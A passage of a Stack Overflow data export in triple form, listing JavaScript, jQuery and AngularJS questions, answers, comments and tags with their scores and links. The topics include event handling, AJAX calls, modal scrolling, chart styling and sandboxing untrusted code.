{ $scope.details = []; $http.defaults.headers.common["Accept"] = "application/json"; $http.get('api_url'). success(function(data, status, headers, config) { $scope.games = data.results; var resultIDs = data.results.map(function(result){return result.id;}); $http.get('http:/api?id=' + resultIDs.join(',') + '?api_key=', function(e){ }). success(function(data, status, headers, config) { $scope.details = data; }); }). error(function(data, status, headers, config) { //handle errors }); });

http://stackoverflow.com/q/25662485
upvote count: 0
tagged with: javascript
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25662687
has title: How to redefine addEventListener to be attachEvent in older versions of IE
type: Question
score: -2
favorite count: 0
has answer: http://stackoverflow.com/a/25663864
answer count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/40102177
has body: I have a plugin with many lines like this: document.addEventListener('keypress', function(e) { this.drop.addEventListener('click', function(e) { I want to have a bit of javascript at the top which redefines addEventListener so it actually uses attachEvent in older browsers (I can use the navigator object). I don't want to have to do if statements for every line of code like above.

http://stackoverflow.com/comment/40027188
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25621191
has text: javaacript please - I had regex = /^[a-zA-Z0-9]+_[a-zA-Z0-9]+_[a-zA-Z0-9]+_[a-zA-Z0-9]+$/; Where it fails – when the string has more than 3 underscores

http://stackoverflow.com/q/25649987
type: AnsweredQuestion
downvote count: 0
tagged with: bootstrap-modal
tagged with: javascript
tagged with: jquery
favorite count: 0
has body: So I have this modal that I would like to automatically scroll down to the chart area when you click on calculate button. I have this code: $('#budgetCalModal').animate({ scrollTop: $("#result").offset().top }, 1000); But it does not seem to work. I am using bootstrap 3. Any clues? PS: It should scroll when the modal is larger than the window height obviously. Thanks
type: Question
has answer: http://stackoverflow.com/a/25653451
score: 1
accepted answer: http://stackoverflow.com/a/25653451
tagged with: twitter-bootstrap-3
tagged with: twitter-bootstrap
has comment: http://stackoverflow.com/comment/40080303
upvote count: 1
answer count: 1
has title: Scroll bootstrap 3 modal

http://stackoverflow.com/comment/39943137
type: Comment
type: QuestionComment
has text: Had that been the case, we would have got a different error. Actually this is replaceable as I tried to abstract the function.
comment on: http://stackoverflow.com/q/25574926
score: 0

http://stackoverflow.com/comment/40040694
comment on: http://stackoverflow.com/a/25622634
type: Comment
has text: Thank you! Your test case makes perfect sense!
score: 0
type: AnswerComment

http://stackoverflow.com/comment/39959338
type: AnswerComment
comment on: http://stackoverflow.com/a/25584028
type: Comment
has text: Loop over them and take mod 10 of index
score: 0

http://stackoverflow.com/comment/40053777
has text: http://jsfiddle.net/km2vLfvz/ I added a `this.id` instead of asdfsf. But this is probably what he is after.
comment on: http://stackoverflow.com/a/25635507
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/a/25601587
has comment: http://stackoverflow.com/comment/39994478
has comment: http://stackoverflow.com/comment/39996339
has comment: http://stackoverflow.com/comment/39993503
type: Answer
has body: This is what Maps are used for. In JavaScript, we use objects interchangeably for "records" and "dictionaries". In Scala, and most statically typed languages, we use Maps instead for the dictionary use case. One advantage of Maps compared to JS dictionaries is that the keys can be of a type different than String. So I would translate your example as the following, with ObjClass being the class of your objects: import scala.collection.mutable val parameters = mutable.Map.empty[String, ObjClass] for (obj &lt;- objects) { parameters(obj.name) = obj.value } myFunction(parameters) Note that the above is very imperative, and can be rewritten in a more functional style like this: val parameters = ( for (obj &lt;- objects) yield obj.name -&gt; obj.value ).toMap
answers question: http://stackoverflow.com/q/25601055
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/25610448
score: 0
has comment: http://stackoverflow.com/comment/40008806
tagged with: bitcoin
answer count: 1
has comment: http://stackoverflow.com/comment/40012280
favorite count: 0
has comment: http://stackoverflow.com/comment/40009701
tagged with: d3.js
type: UnansweredQuestion
downvote count: 1
has body: Why Is my d3.js chart scale different from http://bitcoincharts.com/charts/bitstampUSD I have only replaced the data from this example and removed the axis (mine is the blue line) The bitstamp chart has a different look to its shape, how is this done in d3?? What are they doing? theirs is travelling horizontally downward, mine is just horizontal in direction. linear isn't it because my blue line is linear, I can't find anything on logarithmic I tried in d3 and my chart turned to a vertical-up-and-down scribble What are they doing, this is driving me crazy for 2 weeks now
tagged with: charts
has answer: http://stackoverflow.com/a/27347319
has comment: http://stackoverflow.com/comment/40010790
upvote count: 1
type: Question
tagged with: javascript
has title: d3.js Bitcoin chart shape is wrong

http://stackoverflow.com/comment/40075565
score: 0
has text: No, this behaviour indeed makes no sense. Are you sure that in #1, you really are calling the same `getFeaturedData` function as you defined directly, or is something intercepting the call? Also try to install both `then` handlers (and `return` the `data` from the first), and see what it logs.
comment on: http://stackoverflow.com/q/25637870
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25566397
type: UnansweredQuestion
has body: I'm having trouble filtering a json object using a filter function from a repeater. The filter was working on the first level without issue but now when I try to filter the rest of the collection and then return the scope data if the filter is not defined I get errors. I've created a fiddle, I appreciate the help. app.filter('showByfilValue',['ctrl'], function ($scope,ctrl) { return function (items, word) { var filtered = []; if (typeof word !== 'undefined') { var letterMatch = new RegExp('^' + word + '$', 'i'); for (var i = 0; i &lt; items.length; i++) { var item = items[i]; if (letterMatch.test(item.services[0].services[0].serviceName)) { filtered.push(item); } } return filtered; } else { return data; } }; }); Jimi
answer count: 0
tagged with: http://stackoverflow.com/tag/json
type: Question
has comment: http://stackoverflow.com/comment/39928593
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/39927249
has title: Angularjs filtering json results
has comment: http://stackoverflow.com/comment/39928099
tagged with: angularjs

http://stackoverflow.com/comment/39986326
type: AnswerComment
comment on: http://stackoverflow.com/a/25598429
type: Comment
has text: @user2629723 I believe the root of your doubts is... "Foo.prototype" belongs to the object "Foo", however your book does not use Foo.prototype for add "trim", it uses a function wrapper that they named "method", and there, they create a new prototype method for the "current instance" of that object not to the object itself. "method" define to instances by using "this.prototype" instead of "Foo.prototype", I believe your book uses that technique as it is helpful for inheritance. I do not like to critic others work, but does not seems to be the best book to learn JS.
score: 0

http://stackoverflow.com/comment/40145226
comment on: http://stackoverflow.com/q/25686444
type: Comment
type: QuestionComment
has text: I've not used it before, but can you not make an ajax request and use something like ``beforeSend`?
score: 0

http://stackoverflow.com/comment/40191573
type: AnswerComment
comment on: http://stackoverflow.com/a/25708719
has text: Yes, it's about chaining. Promises are not a solution for chaining. Please provide a code example for the OP's test case if you think otherwise.
type: Comment
score: 0

http://stackoverflow.com/comment/40158524
comment on: http://stackoverflow.com/a/25671000
type: AnswerComment
type: Comment
score: 1
has text: Wow, I was not aware of that! I'm going to try and use this. the images are the same size so it should work with that. thanks a lot mate, you helped me very much!

linechart
tag name: linechart
tags question: http://stackoverflow.com/q/25663851
tags question: http://stackoverflow.com/q/25684482
type: Tag

http://stackoverflow.com/a/25627409
score: 1
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25627352
has body: You are using curly quotes instead of straight quotes, which JavaScript does not support. Just do a search and replace to replace all curly quotes (“, ”, ‘, ’) with straight quotes (", ').
upvote count: 1

http://stackoverflow.com/a/25587472
upvote count: 1
type: AcceptedAnswer
has body: You need to check the option Show JavaScript Errors within the Console panel options menu. As you can see, this makes the console correctly log the error message.
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25574914
answers question: http://stackoverflow.com/q/25574914
score: 1

http://stackoverflow.com/comment/39900308
has text: @epascarello I'm not following you
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25552396
score: 0

http://stackoverflow.com/a/25590119
has comment: http://stackoverflow.com/comment/39970532
has comment: http://stackoverflow.com/comment/39970758
answers question: http://stackoverflow.com/q/25590040
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39970852
type: Answer
has comment: http://stackoverflow.com/comment/39970546
has comment: http://stackoverflow.com/comment/39970555
upvote count: 3
has body: Your JSON is invalid. The success function won't fire. The error function isn't defined. You end up accessing the array you originally assign to data and not the one from the JSON. Strings in JSON must be quoted using " characters. ' are not acceptable. Commas are used to separate items in an array, not terminate them. Remove the trailing comma.
accepted answer of: http://stackoverflow.com/q/25590040
has comment: http://stackoverflow.com/comment/39970656
score: 3
has comment: http://stackoverflow.com/comment/39970614

http://stackoverflow.com/a/25631053
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25630846
has body: The onmouseover and onmouseout attributes should be in lower case. So: &lt;div id="id" onmouseover="show()" onmouseout="hide()"&gt; DEMO

http://stackoverflow.com/comment/40129307
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25652456
type: Comment
has text: Can I know the changes that you have done in it?

http://stackoverflow.com/comment/39951863
type: AnswerComment
comment on: http://stackoverflow.com/a/25579770
score: 0
type: Comment
has text: can you make jsfiddle for me?

http://stackoverflow.com/comment/40012096
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25612685
type: Comment
has text: I believe he wants to pause the loop entirely like in other languages.

http://stackoverflow.com/a/25697514
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25697164
answers question: http://stackoverflow.com/q/25697164
type: Answer
has body: Please see jsfidder for button invisible but stil able to click on button, PLease click on left top cornor in result Here is code for html: OK js function : $(document).ready(function(){ $('button').click(function(){ alert('ok button clicked'); }); });
score: 0

http://stackoverflow.com/q/25640566
tagged with: php
has comment: http://stackoverflow.com/comment/40062998
has answer: http://stackoverflow.com/a/25640605
linked to: http://stackoverflow.com/q/13840429
has comment: http://stackoverflow.com/comment/40069238
type: Question
downvote count: 4
duplicate of: http://stackoverflow.com/q/13840429
upvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40062589
has title: how to pass parameters from javascript to inline php
answer count: 1
tagged with: email
favorite count: 0
type: UnansweredQuestion
score: -4
has body: I am working on asp.net project. I am trying to send mail using php script (as godaddy is not allowing me to use c# sendmail()). I have to pass subject and body parameters to the mail. I am able to send parameters to separate php file however I want to do it with inline php. following code works fine but not sure how to pass parameters &lt;html&gt; &lt;head&gt; &lt;script&gt; function sendmyMail(){ &lt;?php mail("mymailid@gmail.com","mySubject","mybodytext","From: \" abc \""); echo "Notification Sent!"; ?&gt; } &lt;/script&gt; &lt;/head&gt; &lt;body onload=sendmyMail();&gt; &lt;/body&gt; &lt;/html&gt; Any help will be appreciated. Regards Nikunj

http://stackoverflow.com/a/28011028
downvote count: 0
has body: The proper way to run untrusted JavaScript is to put it into a sandboxed environment. Here is the technique used by a Jailed library written by myself for exactly the mentioned purpose: For Node.js: Create a subprocess; Load the code as a string (read the file contents in case you have its path); Add use strict; at the beginning of the code (in order to prevent breaking the sandbox using arguments.callee.caller); Evaluate that string in a separate context using vm.runInNewContext(), where the provided sandbox only exposes some basic methods like setTimeout(). For the web-browser: Create an iframe with a sandbox attribute (so that its content obeys the cross-origin policy and therefore cannot access the main application); Create a web-worker inside that iframe (so that user-submited code will get its own thread and therefore will not freeze the UI)
has comment: http://stackoverflow.com/comment/135204882
type: Answer
score: 7
answers question: http://stackoverflow.com/q/25601865
upvote count: 7

http://stackoverflow.com/q/25652694
has title: Set a JQuery function on the button HTML declaration
score: -1
type: Question
has body: I'm trying to use AJAX loading a set of sucessive pages in a main page, as I show you in the next picture: I learned (thanks to this community!) to call other pages' content, by assigning the load() function to the onclick event of a button, like this: $(document).ready(function() { $('#btn').click(function() { $('#result').load('./poi-data-no-heading.html'); }); }); But what if I have one button with id="btn" on every page? The functionality of any button with that id will be the same always, because (I think) the document.ready is not triggered when I use the load() method, so it's never replaced with new functionality. E.g. initial functionality should be navigate from page 1 to page 2, and when page 2 is loaded, the functionality should be to navigate from page 2 to page 3. As Js developer, I would do the following: Load /* In the JS file */ function loadContent(){ /*the code to retrieve content*/ $('#result').load('http://fiddle.jshell.net/webdevem/JfcJp/show/'); } This way I could assign the functionality to every button, no matter what's the ID or if the document.ready is triggered. But mixing Js with JQuery is not an option... So, how do you think I should manage to do something similar with JQuery? Thanks in advance. P/d: Here is a useful fiddle I used to try ideas: http://jsfiddle.net/gal007/vkcug7t7/1/
has comment: http://stackoverflow.com/comment/40084787
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40084640
favorite count: 0
tagged with: ajax
accepted answer: http://stackoverflow.com/a/25652847
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40084815
upvote count: 0
has answer: http://stackoverflow.com/a/25652847
has comment: http://stackoverflow.com/comment/40084788
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40084667

http://stackoverflow.com/q/25562564
tagged with: jquery
has answer: http://stackoverflow.com/a/25562951
has comment: http://stackoverflow.com/comment/39919092
has answer: http://stackoverflow.com/a/25563204
accepted answer: http://stackoverflow.com/a/25563204
type: AnsweredQuestion
has title: Jquery make context menu with array
has body: This is my code, it works perfect without using array, and creates context menu on div, but now i want to create some context menu items from array. when i apply array it is showing all items of array in one line and separates by Comma (,) . but i need all items in different rows. http://jsfiddle.net/danial786zz/sobnwgeb/ this fiddle is working perfect but i need to make items from array. $('#div_id").chromeContext({ items: [ { title: array, onclick: function () { RToTb(array_name) } }, { title: 'properties' onclick: function () { abc(); } }, { title: 'view' onclick: function () { def(); } } ] });
type: Question
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/39919404
answer count: 2
possible better answer: http://stackoverflow.com/a/25562951
tagged with: arrays

http://stackoverflow.com/comment/40143575
type: QuestionComment
comment on: http://stackoverflow.com/q/25674013
has text: @Blackhole I had tried that without luck however looking into the issue more, it seems like something in the iconic.js library is causing the issue because when I use just the SVGInjector library and the technique mentioned in that link, the icons work fine. I would still like to know the difference between HTML5 mode/hash mode in AngularJS (updated my question to reflect that).
score: 0
type: Comment

http://stackoverflow.com/a/25691279
score: 0
type: Answer
has body: You can use jquery to do the key handling. Here is an example: $(document).bind('keypress', function(e){ switch(e.keyCode) { case 37: //do something break; case 39: // do something break; case 80: // do something break; } }); There are specifics to this as well (some keys wont auto repeat). If a key is held down long enough it typically auto-repeats, and some additional events will be triggered on each autorepeat. On Macintosh and Linux systems, modifier keys usually don't auto-repeat, but on Windows systems they do (which seems weird to me). In most browsers, an autorepeat is sensibly treated as a character event, but not a key event, so it triggers a keypress but not a keydown or keyup. But, of course, there is some variation and exceptions.
answers question: http://stackoverflow.com/q/25691161

http://stackoverflow.com/comment/39906887
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25554392
has text: The console is telling you about problems with [mixed content](http://www.w3.org/TR/2014/WD-mixed-content-20140722/): *"http ://www.example.com/hangout-app-tut/helpdesk-sample.html..."*. Why are you trying to make an HTTP fetch instead of a HTTPS fetch?
score: 1

http://stackoverflow.com/q/25584144
tagged with: text
type: AnsweredQuestion
tagged with: loops
upvote count: 1
downvote count: 1
type: Question
has body: I am trying to make a javascript/jquery code in which it automatically types a string, and then after the string is completely typed, clears the previously typed string and types it again. Currently, all my code does is type the string once. I know how to keep looping it, but it just starts typing where it left off, and doesn't clear the string. Javascript: var txt='Typing text...'.split(''); var delay=850; for ( i=0; i&lt;txt.length;i++){ setTimeout(function(){ $('.autoText').append(txt.shift() ) }, delay * i) } and here is my html: &lt;h1 class="autoText" style="font-size: 50px; color: #7CFC00; margin-top: 0em; margin-left: 25%;"&gt;&lt;/h1&gt;
has answer: http://stackoverflow.com/a/25584221
has answer: http://stackoverflow.com/a/25584270
possible better answer: http://stackoverflow.com/a/25584258
has answer: http://stackoverflow.com/a/25584195
has answer: http://stackoverflow.com/a/25584258
has answer: http://stackoverflow.com/a/25584215
answer count: 8
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25584429
score: 0
has title: How to automatically type text repeatedly
has answer: http://stackoverflow.com/a/25584756
tagged with: input
has answer: http://stackoverflow.com/a/25584248
accepted answer: http://stackoverflow.com/a/25584215

http://stackoverflow.com/a/25591839
type: Answer
score: 2
upvote count: 2
has body: Put your iframe inside a container div and add another element next to it: Position the overlay element: #iframeContainer { width: 800px; height: 450px; position: relative; } #iframeContainer iframe { position: absolute; top: 0; left: 0; right: 0; bottom: 0; z-index: 1; } #iframeContainer .overlay { position: absolute; top: 0; left: 0; right: 0; bottom: 0; z-index: 2; background: #fff; opacity: 0.7; } jsFiddle Demo.
answers question: http://stackoverflow.com/q/25591631
downvote count: 0

drag
tags question: http://stackoverflow.com/q/25620544
type: Tag
tag name: drag

http://stackoverflow.com/q/25633619
has answer: http://stackoverflow.com/a/25633751
favorite count: 0
has comment: http://stackoverflow.com/comment/40051168
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40050632
has comment: http://stackoverflow.com/comment/40051031
has answer: http://stackoverflow.com/a/25824921
answer count: 4
upvote count: 0
has answer: http://stackoverflow.com/a/25633906
type: Question
has answer: http://stackoverflow.com/a/25633804
tagged with: addeventlistener
tagged with: javascript
score: -1
has title: Multiple addEventListeners triggered on the "change" event
has body: I have a select box that's used to navigate to a new page on the "change" event and record some analytics. I want two event handlers to fire so that both of the handlers trigger on "change" rather than just the last function assigned to onchange. I just need to know what I need to put in the function() with the // Placeholder text so that both events are triggered on the "change" event. I want the answer to be plain ole JavaScript not jQuery. Thank you :) Here's the code: Javascript Treehouse Challenge: "We've got a select box that's used to navigate to a new page on the "change" event and record some analytics. We want two event handlers to fire, fix lines 14 and 15 so that both of the handlers trigger on "change" rather than just the last function assigned to onchange." //Select select box var navigationSelect = document.getElementById("nav"); //Navigate to URL when select box is changed var navigateToValue = function() { window.location = this.value; } //Send analytics data var sendAnalytics = function() { //Placeholder } navigationSelect.onchange = navigateToValue; navigationSelect.onchange = sendAnalytics; HTML Home About About
tagged with: onchange
downvote count: 1
tagged with: event-handling

animation
tags question: http://stackoverflow.com/q/25633247
tags question: http://stackoverflow.com/q/25586422
tags question: http://stackoverflow.com/q/25637425
tags question: http://stackoverflow.com/q/25678159
type: Tag
tags question: http://stackoverflow.com/q/25657064
tags question: http://stackoverflow.com/q/25559988
tags question: http://stackoverflow.com/q/25608434
tag name: animation
tags question: http://stackoverflow.com/q/25682379
tags question: http://stackoverflow.com/q/25645064
tags question: http://stackoverflow.com/q/25581394
tags question: http://stackoverflow.com/q/25674768
tags question: http://stackoverflow.com/q/25609775
tags question: http://stackoverflow.com/q/25663762
tags question: http://stackoverflow.com/q/25613674
tags question: http://stackoverflow.com/q/25551613

http://stackoverflow.com/a/25684378
answers question: http://stackoverflow.com/q/25681997
has body: Fiddle using .attr(): if (backgroundContainer.hasClass("checked")) { checkbox.removeAttr('checked'); } else { checkbox.attr('checked', 'checked'); } and later: $('#send').click(function() { var checked = $('#IsSpread').attr("checked") == "checked"; alert("Sending " + checked); }); Fiddle using .prop() (actually it is strange behaviour, but works for me): checkbox.prop('checked', checkbox.prop('checked')); and later: $('#send').click(function() { var checked = $('#IsSpread').prop("checked"); alert("Sending " + checked); });
score: 0
type: Answer

http://stackoverflow.com/q/25689039
has comment: http://stackoverflow.com/comment/40150622
has answer: http://stackoverflow.com/a/25689358
accepted answer: http://stackoverflow.com/a/25689358
possible better answer: http://stackoverflow.com/a/25689341
has answer: http://stackoverflow.com/a/25689341
has title: Having issue with focus and blur function
type: AnsweredQuestion
has body: I have a Form where there are three field and two buttons. FIDDLE Clicking on Add optional Email Address button adds a new Email field which is fine. My issue is with Save Button. I am wanting the save button will remain disable until user click on the field or add any value in the input field. So, if a user click on any of the input field Save button will become active if a user put a value it will remain active. if user clicks on the input but didn't give any value it will Change to disable again. Same for the New added input by Add optional Email Address On my code it's not going back to disable state if no value given on the input after clicking and not working for newly added input. I am not sure the reason. Any help will save my day. JS $("body").on('focus', '.user-input input', function() { $(".update-change").removeAttr('disabled'); }).blur(function() { if ($("").val() == '') { $(".update-change").attr('disabled', 'disabled'); } }); $('.update-list-confirm').click(function(){ $(".update-change").attr('disabled', 'disabled'); }); // Add email $("body").on('click', '.add-new-email', function() { var newemail = ' Optional '; $(newemail).insertBefore(this); });
has comment: http://stackoverflow.com/comment/40151114
type: Question
has answer: http://stackoverflow.com/a/25691176
has comment: http://stackoverflow.com/comment/40150268
tagged with: javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/40150360
answer count: 3

http://stackoverflow.com/q/25670071
has body: Im struggling small problem with handling promises. I'm trying to make an expandable table with simple info on grid and then more detailed if you click and expand it. And it works fine. My problem is when you expand grid for a moment (like 0.5-1s) you can see old attachment list (from previously inspected news) before restangular promise is resolved. Here's my code until now: Controller and part of service(restangular): http://pastebin.com/ViBpXuhr HTML code: http://pastebin.com/K9ZPWScc Due to current datamodel, which I cannot really change I think I have to do this that way, or at least I don't have any other idea. So when user sees grid and clicks row he wants to inspect I run getAttList function with newsId as parameter and return via service list I need but there is a brief time when table is already expanded but user see completly no data (because he has not expanded anything earlier) or data from previously inspected news. Typically I was handling promises with $q but in that case I'm not sure how I should do that.
tagged with: javascript
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25670572
tagged with: angularjs
has title: Angular data binding and promises handling
type: Question
tagged with: restangular
score: 0
accepted answer: http://stackoverflow.com/a/25670572
answer count: 1

http://stackoverflow.com/comment/39967506
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25588364
has text: Just log the whole object to console, then you should be able to easily inspect it and see its actual structure.
score: 0

http://stackoverflow.com/q/25564834
tagged with: ajax
answer count: 2
has comment: http://stackoverflow.com/comment/39923273
downvote count: 1
has comment: http://stackoverflow.com/comment/39923456
favorite count: 0
tagged with: php
type: AnsweredQuestion
upvote count: 0
possible better answer: http://stackoverflow.com/a/25564911
has answer: http://stackoverflow.com/a/25564911
has comment: http://stackoverflow.com/comment/39923312
tagged with: mysql
accepted answer: http://stackoverflow.com/a/25564979
type: Question
has body: I want to pass multiple values through ajax request like var ids = 10 ,15,30; is it possible to do this if not how do i pass the ids in the request? $.ajax({ type: "POST", url: $('#baseurl').val()+"/ajax_requests/testing.php", data:{row :ids,action:"get_values"}, async :false, cache: false, success: function(result){ if(result) { alert("success") } } }); Once i pass these values how do i go about in fetching the results in test.php
has title: pass multiple ids through ajax to get the results from database
tagged with: javascript
score: -1
has answer: http://stackoverflow.com/a/25564979

http://stackoverflow.com/q/25573800
tagged with: z-index
has body: Here's my simple jsFiddle. I'm looking to place HTML text on top of the flot chart. Or put flot chart in the background (depending on how you think about it). HTML: Place me on top please. How?! CSS: #wrapper { position:relative; } h1 { z-index:100; color:blue; font-size:5em; margin:0; line-height:0.9em; } #placeholder { width:500px; height:300px; position:absolute; top:0; left:0; z-index:1; } JS (see jsFiddle for the rest) : $(document).ready(function(){ chart = $.plot($("#placeholder"),data,options); });
answer count: 2
accepted answer: http://stackoverflow.com/a/25573913
tagged with: flot
downvote count: 0
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/39940785
has title: How can I place html text on top of a canvas flot chart?
tagged with: css
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25573913
upvote count: 1
has answer: http://stackoverflow.com/a/25573880
type: Question
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25573880

http://stackoverflow.com/comment/39950906
score: 0
comment on: http://stackoverflow.com/q/25574020
type: Comment
type: QuestionComment
has text: Check there's no errors in the console. It's possible your Site URL is incorrect.

http://stackoverflow.com/comment/40123060
type: AnswerComment
comment on: http://stackoverflow.com/a/25669108
score: 0
type: Comment
has text: Cheers Digital Illusion but if you scroll to img5 in the list, click and then go back, the list is reset to the top not at the position you left it.

http://stackoverflow.com/q/25638322
has comment: http://stackoverflow.com/comment/40058647
accepted answer: http://stackoverflow.com/a/25643300
type: Question
has comment: http://stackoverflow.com/comment/40058561
tagged with: arrays
tagged with: jsp
tagged with: javascript
has comment: http://stackoverflow.com/comment/40058553
has answer: http://stackoverflow.com/a/25643300
score: 0
has comment: http://stackoverflow.com/comment/40066049
answer count: 1
has comment: http://stackoverflow.com/comment/40061549
has comment: http://stackoverflow.com/comment/40058747
has title: Passing Array values from js file to JSP file
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40058713
has body: js file: while passing the dropdown1[i],only one element alone is passing .but kot[i],item[i] is completely passing. for(var i=0;i&lt;count;i++) { dropdown1[i]=document.getElementById("sel"+i).value; kot[i]=document.getElementById("kot"+i).value; item[i]=document.getElementById("itemcode"+i).value; if(dropdown1[i] == 0){ document.detailsview.action="BillCB.jsp?method=" + "11" + "&amp;itemcode=" +item[i]+ "&amp;kot=" +kot[i]+ "&amp;itemStatus1=" +dropdown1[i]+ "&amp;billno=" +billno; } else if(dropdown1[i] == 1){ document.detailsview.action="BillCB.jsp?method="+"9"+"&amp;itemcode="+item[i]+"&amp;kot="+kot[i]+"&amp;itemStatus1="+dropdown1[i]+ "&amp;billno="+billno; } else{ document.detailsview.action= "BillCB.jsp?method="+"10"+"&amp;itemcode="+item[i]+"&amp;kot="+kot[i]+"&amp;itemStatus1="+dropdown1[i]+ "&amp;billno="+billno; } } JSP file: case 11: gotMethod = true; billdetails_be.billno = Integer.valueOf(request.getParameter("billno")); String[] kotCB2=request.getParameterValues("kot"); String[] itemCB2=request.getParameterValues("itemcode"); String[] statCB2=request.getParameterValues("itemStatus1"); int[] kotarr2=new int[kotCB2.length]; int[] itemarr2=new int[itemCB2.length]; int[] statarr2=new int[statCB2.length]; System.out.println("IN AVAILABLE:length of array is:"+statCB2.length); System.out.println("IN AVAILABLE:length of array is:"+kotCB2.length); for(int i=1;i&lt;itemarr2.length;i++) { kotarr2[i]=Integer.parseInt(kotCB2[i]); } for(int i=1;i&lt;itemarr2.length;i++) { itemarr2[i]=Integer.parseInt(itemCB2[i]); } for(int i=1;i&lt;itemarr2.length;i++) { statarr2[i]=Integer.parseInt(statCB2[i]); } for(int i=1;i&lt;itemarr2.length;i++) { int kotint2=kotarr2[i]; int itemint2=itemarr2[i]; int statint2=statarr2[i]; System.out.println( i+"the value of kot in available"+ kotint2); int availablebill = websrv.availablebill(billdetails_be.billno, kotint2, itemint2,statint2); }
tagged with: java

http://stackoverflow.com/comment/39920042
type: Comment
comment on: http://stackoverflow.com/a/25560994
score: 0
type: AnswerComment
has text: thanks,unmark this answer for now,but why do some of my css is not working?

http://stackoverflow.com/comment/40098711
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25659891
has text: I want `{{shippingDetail.description}}&nbsp;Arrives ` in options text not only description

http://stackoverflow.com/comment/39973791
type: QuestionComment
comment on: http://stackoverflow.com/q/25591777
has text: Sorry, but I can't get what you're trying to explain. You should code something before somebody can help you on this website. I don't know if you are talking about browser windows, o simple modals / html elements being resized.
score: 0
type: Comment

http://stackoverflow.com/q/25631213
tagged with: javascript
tagged with: asp.net
tagged with: ajax
has title: Call C# [WebMethod] function using an ajax call
type: UnansweredQuestion
tagged with: c#
has answer: http://stackoverflow.com/a/25631558
has body: I'm trying to call a function from a C# file in my custom module using an ajax call. I have a .js file that uses an ajax call to whitelist.aspx/isValidURL (I've also tried whitelist.cs as the file extension and url without any luck). I need to access the server method isValidURL, passing in the requested url, to see if the requested url is in a list of valid URLs. If the requested url is in the list then I want to return true to the javascript file and otherwise return false. Is this even possible? Below is the code I have thusfar: Javascript code: $(document).ready(function () { function getUrlVars() { var vars = {}; var parts = window.location.href.replace(/[?&amp;]+([^=&amp;]+)=([^&amp;]*)/gi, function (m, key, value) { vars[key] = value; }); return vars; } if (getUrlVars()["url"].indexOf("http") &gt; -1) { var urlArray = getUrlVars()["url"].split('/'); //var protocol = urlArray[0]; var transferurl = urlArray[2]; } else { var transferurl = getUrlVars()["url"]; } $.ajax({ type: "GET", url: "whitelist.aspx/isValidURL", data: {url:transferurl}, contentType: "application/json; charset=utf-8", dataType: "json" }).done(function (data) { if (data) { //Redirect to the requested url because it was a valid url in the whitelist setTimeout(function () { window.location.assign(transferurl); }, 5000); } else { //Don't redirect to the requested url because it wasn't a valid url in the whitelist } }).fail(function () { //Don't redirect to the requested url because there was an error looking it up in the whitelist }); }); C# Code: public class whitelist { [WebMethod] public static bool isValidURL(string requestedURL) { //Create a list of strings to contain all the "valid" URLs var whiteList = new List&lt;string&gt;(); //Add URLs to the list whiteList.Add("www.google.com"); foreach (string validURL in whiteList) { if (requestedURL == validURL) { return true; } } return false; } }
type: Question
score: 0
answer count: 1

apache
tag name: apache
tags question: http://stackoverflow.com/q/25596961
tags question: http://stackoverflow.com/q/25647362
type: Tag
tags question: http://stackoverflow.com/q/25566223

http://stackoverflow.com/comment/40103703
comment on: http://stackoverflow.com/q/25661543
type: Comment
score: 1
type: QuestionComment
has text: i think do you want to something like see this http://jsfiddle.net/vyhy9wbu/1/

http://stackoverflow.com/comment/40161950
score: 0
type: Comment
has text: @matthias_h What you told helped to put them next to each other, but they still need to be aligned with the text. Is there a way to move the two divs over so that they will line up? P.S. I added a new picture to the bottom of my question so that people can see my problem. Is there a way to center them on the page?
type: QuestionComment
comment on: http://stackoverflow.com/q/25694943

http://stackoverflow.com/a/25602809
has body: Make sure you only create one PIXI.Text instance and then update the count. That way the old text will be replaced with the new value and you'll save a lot on performance by creating less instances: var count = 0; var text = new PIXI.Text(count, {font:"50px Arial", fill:"red"}); text.x = stageWidth / 2 - text.width / 2; text.y = stageHeight / 2; stage.addChild(text); function incrementCount() { count++; text.setText(count); } incrementCount();
accepted answer of: http://stackoverflow.com/q/25588960
type: AcceptedAnswer
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25588960

http://stackoverflow.com/q/25596782
has comment: http://stackoverflow.com/comment/39982841
type: Question
has comment: http://stackoverflow.com/comment/39982888
has answer: http://stackoverflow.com/a/25597570
possible better answer: http://stackoverflow.com/a/25596847
has answer: http://stackoverflow.com/a/25596847
tagged with: arrays
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/39983079
accepted answer: http://stackoverflow.com/a/25597570
has answer: http://stackoverflow.com/a/25596828
answer count: 4
favorite count: 0
has answer: http://stackoverflow.com/a/25596798
upvote count: 1
